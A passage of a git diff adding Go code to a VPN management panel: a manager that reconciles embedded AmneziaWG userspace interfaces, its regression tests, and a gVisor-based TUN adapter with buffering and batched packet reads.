+// ensureLocked decides between three actions: nothing changed since the
+// last apply (skip entirely -- this is the common case on every 10s
+// reconcile tick when no admin edit happened, and it MUST actually skip the
+// IpcSet call, not just look like it should: amneziawg-go's IpcSet always
+// includes replace_peers=true -- see buildUAPIConfig -- and its own
+// implementation of that op is device.RemoveAllPeers(), unconditionally,
+// even when the new peer list is byte-identical to the old one. A real
+// production bug, found via a live test connection that reset every ~10s:
+// calling IpcSet on every tick regardless of whether anything changed was
+// tearing down every peer's live handshake/session state on every single
+// reconcile, so no connection could ever survive past one tick); only
+// peers/obfuscation/keys/listen_port changed (reconfigure the existing
+// Device in place via IpcSet); or the interface's own address(es)/MTU
+// changed (these are fixed at netstack-construction time, so the only
+// option is closing the old Device and building a fresh one).
+func (m *Manager) ensureLocked(d Desired) error {
+ inst, opts := d.Instance, d.Options
+ if opts.Logger == nil {
+ opts.Logger = verboseLoggerIfEnabled(inst.Id)
+ }
+ structFP := addressFingerprint(inst)
+
+ cur, exists := m.ifaces[inst.Id]
+ // Captured before either branch below: peers/AllowedIPs can change
+ // (and so can each peer's IPv6 alias) without the address/MTU
+ // fingerprint changing at all, so both the reconfigure-in-place branch
+ // and the rebuild branch need to diff IPv6 aliases against whatever
+ // this id had before, not just on a rebuild.
+ var oldInst amneziawg.Instance
+ if exists {
+ oldInst = cur.inst
+ }
+
+ if exists && cur.structFP == structFP {
+ conf, err := buildUAPIConfig(inst, opts)
+ if err != nil {
+ return fmt.Errorf("amneziawgnet: %w", err)
+ }
+ // True no-op: the rendered UAPI config -- which already covers every
+ // field IpcSet can act on (keys, listen port, obfuscation, AWG 3.0
+ // options, the full peer list) -- is byte-identical to what's
+ // already live. Comparing the rendered string instead of inst
+ // directly means this can never drift out of sync with whatever
+ // buildUAPIConfig actually reads, the way a hand-maintained field
+ // list could.
+ if conf == cur.uapiConfig {
+ cur.peers = NewPeerIndex(inst.Peers)
+ cur.inst = inst
+ applyV6Aliases(diffV6Aliases(oldInst, inst))
+ // buildUAPIConfig never reads ForwardedPorts (it's a panel-level
+ // concept, not a WireGuard UAPI field), so a ForwardedPorts-only
+ // edit renders byte-identical here and takes this exact no-op
+ // branch -- without this call, that edit would silently never
+ // open/close a listener until some unrelated change also
+ // happened to touch this inbound. See
+ // TestForwardedPortsOnlyChangeStillReconcilesPortForwards.
+ cur.portForwards.Reconcile(inst)
+ return nil
+ }
+ if err := cur.dev.IpcSet(conf); err != nil {
+ return fmt.Errorf("amneziawgnet: reconfigure inbound %d: %w", inst.Id, err)
+ }
+ cur.peers = NewPeerIndex(inst.Peers)
+ cur.inst = inst
+ cur.uapiConfig = conf
+ applyV6Aliases(diffV6Aliases(oldInst, inst))
+ cur.portForwards.Reconcile(inst)
+ return nil
+ }
+
+ if exists {
+ cur.udpRelay.Close()
+ cur.portForwards.Close()
+ cur.dev.Close()
+ delete(m.ifaces, inst.Id)
+ }
+ dev, err := newUnconfiguredDevice(inst, opts)
+ if err != nil {
+ return err
+ }
+
+ relay := socksRelayForInstance(inst)
+ udpRelay := NewUDPRelay(relay, dev.Stack)
+ portForwards := NewPortForwardSet(dev.Stack, inst.Id)
+ inboundID := inst.Id // captured for the closures below, which outlive this call
+ AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
+ srcAddrPort, err := netip.ParseAddrPort(conn.RemoteAddr().String())
+ if err != nil {
+ conn.Close()
+ return
+ }
+ // Re-fetched on every connection, not captured once at attach time:
+ // a reconfigure-in-place (peers added/removed, no rebuild) replaces
+ // cur.peers without ever re-attaching the forwarder, so a stale
+ // captured index would silently miss newly-added peers.
+ _, peers, ok := m.Lookup(inboundID)
+ if !ok {
+ conn.Close()
+ return
+ }
+ peer, ok := peers.Lookup(srcAddrPort.Addr().Unmap())
+ if !ok {
+ conn.Close()
+ return
+ }
+ relay.RelayTCP(conn, peer.Email, dest)
+ })
+ AttachUDPHandler(dev.Stack, func(src, dst netip.AddrPort, payload []byte) {
+ _, peers, ok := m.Lookup(inboundID)
+ if !ok {
+ return
+ }
+ peer, ok := peers.Lookup(src.Addr())
+ if !ok {
+ return
+ }
+ udpRelay.Handle(src, dst, peer.Email, payload)
+ })
+
+ // Handlers are registered on dev.Stack above, BEFORE Configure's IpcSet
+ // can start any peer's receive goroutine -- see newUnconfiguredDevice's
+ // doc comment for why this order (not convenience) is what makes this
+ // race-free.
+ if err := dev.Configure(inst, opts); err != nil {
+ udpRelay.Close()
+ portForwards.Close()
+ return err
+ }
+ // dev.Configure already rendered and applied this exact config
+ // internally; recomputing it here (cheap, pure, guaranteed to succeed
+ // since Configure just proved these inputs are valid) is simpler than
+ // threading the string back out of Configure's own signature, and gives
+ // the no-op check above a correct baseline to compare the next tick
+ // against instead of an empty string.
+ conf, _ := buildUAPIConfig(inst, opts)
+
+ m.ifaces[inst.Id] = &managed{
+ dev: dev,
+ udpRelay: udpRelay,
+ portForwards: portForwards,
+ peers: NewPeerIndex(inst.Peers),
+ inst: inst,
+ structFP: structFP,
+ uapiConfig: conf,
+ }
+ applyV6Aliases(diffV6Aliases(oldInst, inst))
+ portForwards.Reconcile(inst)
+ logger.Infof("amneziawgnet: started embedded interface %s for inbound %d", inst.InterfaceName, inst.Id)
+ return nil
+}
+
+// socksRelayForInstance derives the loopback SOCKS5 relay address/password
+// for inst -- both fully determined by its id and the process-wide
+// password (SOCKSPortForInbound/SocksPassword), so no per-instance state
+// needs threading through Desired/DeviceOptions for this.
+func socksRelayForInstance(inst amneziawg.Instance) SocksRelay {
+ return SocksRelay{
+ Addr: fmt.Sprintf("127.0.0.1:%d", SOCKSPortForInbound(inst.Id)),
+ Password: SocksPassword(),
+ }
+}
+
+// addressFingerprint captures the two Instance fields that can't be changed
+// on a running Device via IpcSet alone (they're fixed when the gVisor
+// netstack is built) -- everything else (keys, listen port, obfuscation,
+// AWG 3.0 options, peers) amneziawg-go's own UAPI can hot-reconfigure.
+func addressFingerprint(inst amneziawg.Instance) string {
+ return fmt.Sprintf("%d|%s", inst.MTU, strings.Join(inst.Address, ","))
+}
+
+// Reconcile brings every desired instance's embedded interface up to date
+// and stops any managed interface whose inbound is no longer desired --
+// mirroring internal/mtproto.Manager.Reconcile's per-tick contract.
+func (m *Manager) Reconcile(desired []Desired) {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+
+ want := make(map[int]struct{}, len(desired))
+ for _, d := range desired {
+ want[d.Instance.Id] = struct{}{}
+ }
+ for id, cur := range m.ifaces {
+ if _, ok := want[id]; ok {
+ continue
+ }
+ applyV6Aliases(diffV6Aliases(cur.inst, amneziawg.Instance{}))
+ cur.udpRelay.Close()
+ cur.portForwards.Close()
+ cur.dev.Close()
+ delete(m.ifaces, id)
+ logger.Infof("amneziawgnet: stopped embedded interface for removed inbound %d", id)
+ }
+ for _, d := range desired {
+ if err := m.ensureLocked(d); err != nil {
+ logger.Warningf("amneziawgnet: reconcile failed for inbound %d: %v", d.Instance.Id, err)
+ }
+ }
+}
+
+// Remove tears down inbound id's embedded interface, if any -- mirrors
+// internal/mtproto.Manager.Remove, for a caller that needs to drop a
+// single inbound outside a full Reconcile pass (e.g. the immediate-apply
+// CRUD path in internal/web/runtime/local.go).
+func (m *Manager) Remove(id int) {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+ cur, exists := m.ifaces[id]
+ if !exists {
+ return
+ }
+ applyV6Aliases(diffV6Aliases(cur.inst, amneziawg.Instance{}))
+ cur.udpRelay.Close()
+ cur.portForwards.Close()
+ cur.dev.Close()
+ delete(m.ifaces, id)
+ logger.Infof("amneziawgnet: stopped embedded interface for removed inbound %d", id)
+}
+
+// StopAll tears down every managed interface. Called on panel shutdown.
+func (m *Manager) StopAll() {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+ for id, cur := range m.ifaces {
+ applyV6Aliases(diffV6Aliases(cur.inst, amneziawg.Instance{}))
+ cur.udpRelay.Close()
+ cur.portForwards.Close()
+ cur.dev.Close()
+ delete(m.ifaces, id)
+ }
+}
+
+// HasRunning reports whether any embedded interface is currently managed.
+func (m *Manager) HasRunning() bool {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+ return len(m.ifaces) > 0
+}
+
+// Lookup returns the running Device and PeerIndex for inbound id, if any --
+// the forwarder/UDP-handler closures ensureLocked attaches use this to
+// re-fetch the current peer index on every connection (see ensureLocked's
+// comment on why), and it's equally available to a test harness or any
+// other caller that wants read access to a managed interface's state.
+func (m *Manager) Lookup(id int) (dev *Device, peers *PeerIndex, ok bool) {
+ m.mu.Lock()
+ defer m.mu.Unlock()
+ cur, exists := m.ifaces[id]
+ if !exists {
+ return nil, nil, false
+ }
+ return cur.dev, cur.peers, true
+}
diff --git a/internal/amneziawgnet/manager_test.go b/internal/amneziawgnet/manager_test.go
new file mode 100644
index 000000000..ad4391215
--- /dev/null
+++ b/internal/amneziawgnet/manager_test.go
@@ -0,0 +1,343 @@
+package amneziawgnet
+
+import (
+ "fmt"
+ "net"
+ "testing"
+ "time"
+
+ "github.com/amnezia-vpn/amneziawg-go/v3/device"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// TestManagerLifecycle exercises Ensure/Reconcile's reconfigure-in-place vs.
+// rebuild split (see ensureLocked's doc comment) and Reconcile's stop path,
+// using a throwaway Manager rather than the process-wide singleton so this
+// test doesn't interact with any other test's state.
+func TestManagerLifecycle(t *testing.T) {
+ priv, pub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate keypair: %v", err)
+ }
+
+ m := &Manager{ifaces: map[int]*managed{}}
+ inst := amneziawg.Instance{
+ Id: 3,
+ InterfaceName: "awgtest3",
+ ListenPort: 58714,
+ PrivateKey: priv,
+ PublicKey: pub,
+ Address: []string{"10.203.0.1/24"},
+ MTU: 1420,
+ Obfuscation: amneziawg.Obfuscation31{
+ Jc: 4, Jmin: 40, Jmax: 70,
+ S1: 20, S2: 30, S3: 20, S4: 20,
+ },
+ }
+ defer m.StopAll()
+
+ if err := m.Ensure(Desired{Instance: inst}); err != nil {
+ t.Fatalf("Ensure (create): %v", err)
+ }
+ if !m.HasRunning() {
+ t.Fatal("HasRunning() = false after Ensure created an interface")
+ }
+ dev1, _, ok := m.Lookup(inst.Id)
+ if !ok {
+ t.Fatal("Lookup after Ensure: not found")
+ }
+
+ // Same Instance again: same address fingerprint, so this should
+ // reconfigure the existing Device via IpcSet rather than rebuild it --
+ // verify by checking the *Device pointer survived unchanged.
+ if err := m.Ensure(Desired{Instance: inst}); err != nil {
+ t.Fatalf("Ensure (unchanged): %v", err)
+ }
+ dev2, _, ok := m.Lookup(inst.Id)
+ if !ok {
+ t.Fatal("Lookup after second Ensure: not found")
+ }
+ if dev1 != dev2 {
+ t.Error("Ensure with an unchanged Instance rebuilt the Device; expected an in-place reconfigure")
+ }
+
+ // Changing the interface address is structural (fixed at netstack
+ // construction time) and must force a rebuild -- verify by checking the
+ // *Device pointer changed.
+ changed := inst
+ changed.Address = []string{"10.203.1.1/24"}
+ if err := m.Ensure(Desired{Instance: changed}); err != nil {
+ t.Fatalf("Ensure (address changed): %v", err)
+ }
+ dev3, _, ok := m.Lookup(inst.Id)
+ if !ok {
+ t.Fatal("Lookup after address-changing Ensure: not found")
+ }
+ if dev3 == dev2 {
+ t.Error("Ensure with a changed address reconfigured in place; expected a rebuild")
+ }
+
+ // Reconcile with nothing desired stops every managed interface.
+ m.Reconcile(nil)
+ if m.HasRunning() {
+ t.Error("HasRunning() = true after Reconcile([]) should have stopped everything")
+ }
+ if _, _, ok := m.Lookup(inst.Id); ok {
+ t.Error("Lookup succeeded after Reconcile([]) removed the interface")
+ }
+}
+
+// TestEnsureUnchangedInstanceDoesNotResetLivePeers is a regression test for a
+// real production bug: an unchanged Ensure call (the common case on every
+// 10s AmneziaWGJob reconcile tick when no admin edit happened) was calling
+// IpcSet unconditionally. amneziawg-go's IpcSet always includes
+// replace_peers=true (see buildUAPIConfig), and its own implementation of
+// that op is device.RemoveAllPeers() -- unconditionally, even when the new
+// peer list is byte-identical to the old one. That tore down every peer's
+// live handshake/session state on every single reconcile tick, so no real
+// connection could ever survive past ~10 seconds. Caught via a live test
+// connection that reset every ~10s with amneziawg-go's own verbose logging
+// enabled (AMNEZIAWGNET_DEBUG) showing "UAPI: Removing all peers" +
+// peer "Stopping"/"Starting" on every tick.
+//
+// Verified here by comparing the *device.Peer pointer LookupPeer returns
+// before and after a no-op Ensure: identical pointer proves the peer object
+// itself survived (no RemoveAllPeers), not just that some higher-level
+// abstraction looks unchanged.
+func TestEnsureUnchangedInstanceDoesNotResetLivePeers(t *testing.T) {
+ priv, pub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate server keypair: %v", err)
+ }
+ _, peerPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate peer keypair: %v", err)
+ }
+
+ m := &Manager{ifaces: map[int]*managed{}}
+ inst := amneziawg.Instance{
+ Id: 4,
+ InterfaceName: "awgtest4",
+ ListenPort: 58715,
+ PrivateKey: priv,
+ PublicKey: pub,
+ Address: []string{"10.204.0.1/24"},
+ MTU: 1420,
+ Obfuscation: amneziawg.Obfuscation31{
+ Jc: 4, Jmin: 40, Jmax: 70,
+ S1: 20, S2: 30, S3: 20, S4: 20,
+ },
+ Peers: []amneziawg.Peer{
+ {Email: "peer@test", PublicKey: peerPub, AllowedIPs: []string{"10.204.0.2/32"}},
+ },
+ }
+ defer m.StopAll()
+
+ if err := m.Ensure(Desired{Instance: inst}); err != nil {
+ t.Fatalf("Ensure (create): %v", err)
+ }
+
+ peerPubHex, err := wireguard.KeyToHex(peerPub)
+ if err != nil {
+ t.Fatalf("KeyToHex: %v", err)
+ }
+ var npk device.NoisePublicKey
+ if err := npk.FromHex(peerPubHex); err != nil {
+ t.Fatalf("NoisePublicKey.FromHex: %v", err)
+ }
+
+ dev, _, ok := m.Lookup(inst.Id)
+ if !ok {
+ t.Fatal("Lookup after Ensure: not found")
+ }
+ peerBefore := dev.LookupPeer(npk)
+ if peerBefore == nil {
+ t.Fatal("LookupPeer returned nil right after Ensure created the peer")
+ }
+
+ // Simulate the reconcile job firing again with byte-identical data --
+ // this is what AmneziaWGJob does every 10 seconds regardless of whether
+ // anything actually changed.
+ if err := m.Ensure(Desired{Instance: inst}); err != nil {
+ t.Fatalf("Ensure (unchanged, second tick): %v", err)
+ }
+ peerAfter := dev.LookupPeer(npk)
+ if peerAfter == nil {
+ t.Fatal("LookupPeer returned nil after the unchanged Ensure -- peer was removed and never re-added")
+ }
+ if peerBefore != peerAfter {
+ t.Error("unchanged Ensure recreated the peer object (RemoveAllPeers + re-add) -- " +
+ "any live handshake/session on this peer would have been reset for no reason")
+ }
+}
+
+// TestForwardedPortsOnlyChangeStillReconcilesPortForwards is a regression
+// test for the Phase 3.6 port-forwarding wiring: buildUAPIConfig never reads
+// ForwardedPorts (it's a panel-level concept, not a WireGuard UAPI field),
+// so a ForwardedPorts-only edit renders a byte-identical UAPI config and
+// takes ensureLocked's true no-op branch -- the exact same branch
+// TestEnsureUnchangedInstanceDoesNotResetLivePeers exists to guard, just for
+// a different subsystem. Without an explicit portForwards.Reconcile call on
+// that branch, a ForwardedPorts-only edit would silently never open (or
+// close) a listener until some unrelated change also happened to touch this
+// inbound. Verified end to end here: a real host-facing listener must exist
+// after the second Ensure call, not just an internal state flag.
+func TestForwardedPortsOnlyChangeStillReconcilesPortForwards(t *testing.T) {
+ priv, pub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate server keypair: %v", err)
+ }
+ _, peerPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate peer keypair: %v", err)
+ }
+
+ const forwardedPort = 58930
+ m := &Manager{ifaces: map[int]*managed{}}
+ inst := amneziawg.Instance{
+ Id: 6,
+ InterfaceName: "awgtest6",
+ ListenPort: 58716,
+ PrivateKey: priv,
+ PublicKey: pub,
+ Address: []string{"10.205.0.1/24"},
+ MTU: 1420,
+ Obfuscation: amneziawg.Obfuscation31{
+ Jc: 4, Jmin: 40, Jmax: 70,
+ S1: 20, S2: 30, S3: 20, S4: 20,
+ },
+ Peers: []amneziawg.Peer{
+ {Email: "peer@test", PublicKey: peerPub, AllowedIPs: []string{"10.205.0.2/32"}},
+ },
+ }
+ defer m.StopAll()
+
+ if err := m.Ensure(Desired{Instance: inst}); err != nil {
+ t.Fatalf("Ensure (create, no ForwardedPorts yet): %v", err)
+ }
+ if _, err := net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", forwardedPort), 200*time.Millisecond); err == nil {
+ t.Fatal("forwarded port already accepting connections before ForwardedPorts was ever set")
+ }
+
+ // Only ForwardedPorts changes -- same keys, same AllowedIPs, same
+ // address/MTU, so this must take ensureLocked's true no-op UAPI branch.
+ changed := inst
+ changed.Peers = []amneziawg.Peer{
+ {Email: "peer@test", PublicKey: peerPub, AllowedIPs: []string{"10.205.0.2/32"}, ForwardedPorts: fmt.Sprintf("%d", forwardedPort)},
+ }
+ if err := m.Ensure(Desired{Instance: changed}); err != nil {
+ t.Fatalf("Ensure (ForwardedPorts-only change): %v", err)
+ }
+
+ conn, err := net.DialTimeout("tcp", fmt.Sprintf("127.0.0.1:%d", forwardedPort), 2*time.Second)
+ if err != nil {
+ t.Fatalf("forwarded port not accepting connections after a ForwardedPorts-only Ensure: %v", err)
+ }
+ conn.Close()
+}
+
+// TestEnsureHeaderProtectionKeyChangeReconfiguresInPlace is a regression
+// test for the Phase 3.7 AWG 3.0 wiring: proves that populating
+// Desired.Options with a real HeaderProtectionKey/ContentPaddingAddition
+// takes ensureLocked's existing reconfigure-in-place branch (same *Device
+// survives, no rebuild) rather than silently doing nothing or forcing an
+// unnecessary rebuild -- buildUAPIConfig already rendered these fields
+// before this phase, so no manager.go changes were needed, but this proves
+// the whole chain (Desired -> DeviceOptions -> buildUAPIConfig -> IpcSet)
+// actually works together, not just in isolation.
+func TestEnsureHeaderProtectionKeyChangeReconfiguresInPlace(t *testing.T) {
+ priv, pub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate server keypair: %v", err)
+ }
+ headerProtectionKey, err := wireguard.GenerateWireguardPSK()
+ if err != nil {
+ t.Fatalf("generate header protection key: %v", err)
+ }
+
+ m := &Manager{ifaces: map[int]*managed{}}
+ inst := amneziawg.Instance{
+ Id: 7,
+ InterfaceName: "awgtest7",
+ ListenPort: 58717,
+ PrivateKey: priv,
+ PublicKey: pub,
+ Address: []string{"10.207.0.1/24"},
+ MTU: 1420,
+ Obfuscation: amneziawg.Obfuscation31{
+ Jc: 4, Jmin: 40, Jmax: 70,
+ S1: 20, S2: 30, S3: 20, S4: 20,
+ },
+ }
+ defer m.StopAll()
+
+ if err := m.Ensure(Desired{Instance: inst}); err != nil {
+ t.Fatalf("Ensure (create, no header protection yet): %v", err)
+ }
+ dev1, _, ok := m.Lookup(inst.Id)
+ if !ok {
+ t.Fatal("Lookup after Ensure: not found")
+ }
+
+ err = m.Ensure(Desired{
+ Instance: inst,
+ Options: DeviceOptions{
+ HeaderProtectionKey: headerProtectionKey,
+ ContentPaddingAddition: "20-40",
+ },
+ })
+ if err != nil {
+ t.Fatalf("Ensure (HeaderProtectionKey-only change): %v", err)
+ }
+ dev2, _, ok := m.Lookup(inst.Id)
+ if !ok {
+ t.Fatal("Lookup after second Ensure: not found")
+ }
+ if dev1 != dev2 {
+ t.Error("Ensure with a HeaderProtectionKey-only change rebuilt the Device; expected an in-place IpcSet reconfigure")
+ }
+}
+
+// TestEnsureRejectsHeaderProtectionKeyWithLowS1S4 proves amneziawg-go's own
+// IpcSet backstop really exists independent of the save-time
+// ValidateHeaderProtection check in
+// internal/web/service/inbound_amneziawg.go -- that web-layer check can be
+// bypassed (a node-owned inbound, a direct DB edit), so this confirms a
+// malformed config still fails loudly here rather than silently applying a
+// broken interface.
+func TestEnsureRejectsHeaderProtectionKeyWithLowS1S4(t *testing.T) {
+ priv, pub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate server keypair: %v", err)
+ }
+ headerProtectionKey, err := wireguard.GenerateWireguardPSK()
+ if err != nil {
+ t.Fatalf("generate header protection key: %v", err)
+ }
+
+ m := &Manager{ifaces: map[int]*managed{}}
+ inst := amneziawg.Instance{
+ Id: 8,
+ InterfaceName: "awgtest8",
+ ListenPort: 58718,
+ PrivateKey: priv,
+ PublicKey: pub,
+ Address: []string{"10.208.0.1/24"},
+ MTU: 1420,
+ Obfuscation: amneziawg.Obfuscation31{
+ Jc: 4, Jmin: 40, Jmax: 70,
+ S1: 5, S2: 5, S3: 5, S4: 5, // all below amneziawg-go's own 12-byte minimum
+ },
+ }
+ defer m.StopAll()
+
+ err = m.Ensure(Desired{
+ Instance: inst,
+ Options: DeviceOptions{HeaderProtectionKey: headerProtectionKey},
+ })
+ if err == nil {
+ t.Fatal("Ensure must fail: amneziawg-go's own IpcSet rejects header protection with S1-S4 below its minimum")
+ }
+}
diff --git a/internal/amneziawgnet/netstack.go b/internal/amneziawgnet/netstack.go
new file mode 100644
index 000000000..af1c17d00
--- /dev/null
+++ b/internal/amneziawgnet/netstack.go
@@ -0,0 +1,245 @@
+// Package amneziawgnet embeds amneziawg-go (a userspace AmneziaWG
+// implementation, https://github.com/amnezia-vpn/amneziawg-go) directly in
+// the panel process, as an alternative to internal/amneziawg's
+// kernel-module (DKMS) + awg-quick approach. A gVisor userspace network
+// stack (gvisor.dev/gvisor/pkg/tcpip -- already an indirect dependency via
+// xray-core's own proxy/wireguard support) terminates each tunnel, and a
+// forwarder recovers each connection's real, dynamically-arbitrary
+// destination for the caller to relay onward (see Phase 2 of the migration
+// plan: a loopback SOCKS5 dial into Xray, giving native stats/routing/
+// sniffing for free).
+package amneziawgnet
+
+import (
+ "fmt"
+ "net/netip"
+ "os"
+ "syscall"
+
+ awgtun "github.com/amnezia-vpn/amneziawg-go/v3/tun"
+
+ "gvisor.dev/gvisor/pkg/buffer"
+ "gvisor.dev/gvisor/pkg/tcpip"
+ "gvisor.dev/gvisor/pkg/tcpip/header"
+ "gvisor.dev/gvisor/pkg/tcpip/link/channel"
+ "gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
+ "gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
+ "gvisor.dev/gvisor/pkg/tcpip/stack"
+ "gvisor.dev/gvisor/pkg/tcpip/transport/icmp"
+ "gvisor.dev/gvisor/pkg/tcpip/transport/tcp"
+ "gvisor.dev/gvisor/pkg/tcpip/transport/udp"
+)
+
+// tunQueueDepth is the outbound packet queue depth for both the gVisor
+// channel endpoint and the handoff channel to amneziawg-go's TUN reader
+// (see the stackTun literal in createNetTUNWithStack for why both need it).
+const tunQueueDepth = 1024
+
+// stackTun implements amneziawg-go's tun.Device directly against a gVisor
+// channel endpoint, the same approach amneziawg-go's own tun/netstack
+// package and xray-core's proxy/wireguard/netstack.go both take. Neither of
+// those exposes the raw *stack.Stack a forwarder needs (amneziawg-go's Net
+// type keeps it unexported), so this is a local, from-source reimplementation
+// rather than a wrapper -- adapted from amneziawg-go v3.0.3's
+// tun/netstack/tun.go (MIT licensed), trimmed to the constructor this
+// package needs.
+type stackTun struct {
+ ep *channel.Endpoint
+ stack *stack.Stack
+ events chan awgtun.Event
+ notifyHandle *channel.NotificationHandle
+ incomingPacket chan *buffer.View
+ mtu int
+}
+
+// createNetTUNWithStack builds a gVisor-backed tun.Device for the given
+// local addresses (interface address(es), one per family) and returns the
+// underlying *stack.Stack alongside it so a caller can attach a forwarder
+// (see forwarder.go / udp.go).
+func createNetTUNWithStack(localAddresses []netip.Addr, mtu int) (awgtun.Device, *stack.Stack, error) {
+ opts := stack.Options{
+ NetworkProtocols: []stack.NetworkProtocolFactory{ipv4.NewProtocol, ipv6.NewProtocol},
+ TransportProtocols: []stack.TransportProtocolFactory{tcp.NewProtocol, udp.NewProtocol, icmp.NewProtocol6, icmp.NewProtocol4},
+ // HandleLocal must stay false: promiscuous+spoofing mode (see
+ // forwarder.go) is what lets a destination other than the stack's
+ // own configured address reach the forwarder at all.
+ HandleLocal: false,
+ }
+ dev := &stackTun{
+ // tunQueueDepth matches channel.New's own outbound queue depth
+ // below. WriteNotify (called synchronously from whatever gVisor
+ // goroutine is sending TCP data for the download/server->client
+ // direction) pushes into incomingPacket; RoutineReadFromTUN (a
+ // single amneziawg-go goroutine that encrypts and sends each
+ // packet over UDP) is the only reader. With no buffer, every
+ // outbound packet forced a full synchronous handoff between the
+ // two -- gVisor's sender blocked until the encrypt loop was ready
+ // for the next one, one packet at a time, no pipelining. The
+ // upload/client->server direction has no equivalent stall:
+ // Write->InjectInbound->DeliverNetworkPacket hands off into
+ // gVisor's own ~1MB per-connection TCP receive buffer and returns
+ // immediately. Buffering this channel gives the download
+ // direction the same slack the upload direction already had.
+ ep: channel.New(tunQueueDepth, uint32(mtu), ""),
+ stack: stack.New(opts),
+ events: make(chan awgtun.Event, 10),
+ incomingPacket: make(chan *buffer.View, tunQueueDepth),
+ mtu: mtu,
+ }
+ sackEnabledOpt := tcpip.TCPSACKEnabled(true)
+ if err := dev.stack.SetTransportProtocolOption(tcp.ProtocolNumber, &sackEnabledOpt); err != nil {
+ return nil, nil, fmt.Errorf("amneziawgnet: enable TCP SACK: %s", err)
+ }
+ dev.notifyHandle = dev.ep.AddNotify(dev)
+ if err := dev.stack.CreateNIC(1, dev.ep); err != nil {
+ return nil, nil, fmt.Errorf("amneziawgnet: CreateNIC: %s", err)
+ }
+
+ var hasV4, hasV6 bool
+ for _, ip := range localAddresses {
+ var protoNumber tcpip.NetworkProtocolNumber
+ switch {
+ case ip.Is4():
+ protoNumber = ipv4.ProtocolNumber
+ hasV4 = true
+ case ip.Is6():
+ protoNumber = ipv6.ProtocolNumber
+ hasV6 = true
+ default:
+ continue
+ }
+ protoAddr := tcpip.ProtocolAddress{
+ Protocol: protoNumber,
+ AddressWithPrefix: tcpip.AddrFromSlice(ip.AsSlice()).WithPrefix(),
+ }
+ if err := dev.stack.AddProtocolAddress(1, protoAddr, stack.AddressProperties{}); err != nil {
+ return nil, nil, fmt.Errorf("amneziawgnet: AddProtocolAddress(%v): %s", ip, err)
+ }
+ }
+ if hasV4 {
+ dev.stack.AddRoute(tcpip.Route{Destination: header.IPv4EmptySubnet, NIC: 1})
+ }
+ if hasV6 {
+ dev.stack.AddRoute(tcpip.Route{Destination: header.IPv6EmptySubnet, NIC: 1})
+ }
+ dev.events <- awgtun.EventUp
+ return dev, dev.stack, nil
+}
+
+func (t *stackTun) Name() (string, error) { return "amneziawgnet", nil }
+func (t *stackTun) File() *os.File { return nil }
+func (t *stackTun) Events() <-chan awgtun.Event { return t.events }
+func (t *stackTun) MTU() (int, error) { return t.mtu, nil }
+func (t *stackTun) BatchSize() int { return 1 }
+
+// Read blocks for the first packet, then opportunistically drains any more
+// that are already buffered (non-blocking), up to len(buf). amneziawg-go's
+// caller (RoutineReadFromTUN) sizes buf/sizes to device.BatchSize(), which
+// is the UDP bind's own batch size (128 on Linux, see conn.IdealBatchSize)
+// since that's larger than BatchSize()'s 1 below -- so real buffer capacity
+// for a batch is already there. Without this drain loop, Read always
+// returned exactly one packet no matter how many buf could hold, so every
+// downstream step (peer lookup, per-peer staging, and ultimately the UDP
+// bind's own genuinely batched Send/sendmmsg) processed the download
+// direction one packet at a time while the upload direction's equivalent
+// (bind.Receive/recvmmsg -> decrypt -> stackTun.Write, which already loops
+// over its whole buf) processed up to 128 per cycle. That asymmetry is
+// real, not gVisor/amneziawg-go's -- both the receive and send paths on the
+// UDP bind support batching identically, only this Read implementation
+// didn't use it.
+func (t *stackTun) Read(buf [][]byte, sizes []int, offset int) (int, error) {
+ view, ok := <-t.incomingPacket
+ if !ok {
+ return 0, os.ErrClosed
+ }
+ n, err := view.Read(buf[0][offset:])
+ if err != nil {
+ return 0, err
+ }
+ sizes[0] = n
+ count := 1
+ for count < len(buf) {
+ select {
+ case view, ok := <-t.incomingPacket:
+ if !ok {
+ return count, nil
+ }
+ n, err := view.Read(buf[count][offset:])
+ if err != nil {
+ return count, nil
+ }
+ sizes[count] = n
+ count++
+ default:
+ return count, nil
+ }
+ }
+ return count, nil
+}
+
+func (t *stackTun) Write(buf [][]byte, offset int) (int, error) {
+ for _, b := range buf {
+ packet := b[offset:]
+ if len(packet) == 0 {
+ continue
+ }
+ pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Payload: buffer.MakeWithData(packet)})
+ switch packet[0] >> 4 {
+ case 4:
+ t.ep.InjectInbound(header.IPv4ProtocolNumber, pkb)
+ case 6:
+ t.ep.InjectInbound(header.IPv6ProtocolNumber, pkb)
+ default:
+ return 0, syscall.EAFNOSUPPORT
+ }
+ }
+ return len(buf), nil
+}
+
+func (t *stackTun) WriteNotify() {
+ pkt := t.ep.Read()
+ if pkt == nil {
+ return
+ }
+ view := pkt.ToView()
+ pkt.DecRef()
+ t.incomingPacket <- view
+}
+
+func (t *stackTun) Close() error {
+ t.stack.RemoveNIC(1)
+ t.stack.Close()
+ t.ep.RemoveNotify(t.notifyHandle)
+ t.ep.Close()
+ if t.events != nil {
+ close(t.events)
+ }
+ if t.incomingPacket != nil {
+ close(t.incomingPacket)
+ }
+ return nil
+}
+
+// enablePromiscuousRouting puts the NIC into promiscuous + spoofing mode,
+// the precondition both AttachTCPForwarder and AttachUDPHandler need to see
+// packets addressed to a destination other than the stack's own configured
+// local address. Safe to call from both (and more than once): gVisor's
+// SetPromiscuousMode/SetSpoofing just set a bool on the NIC, not something
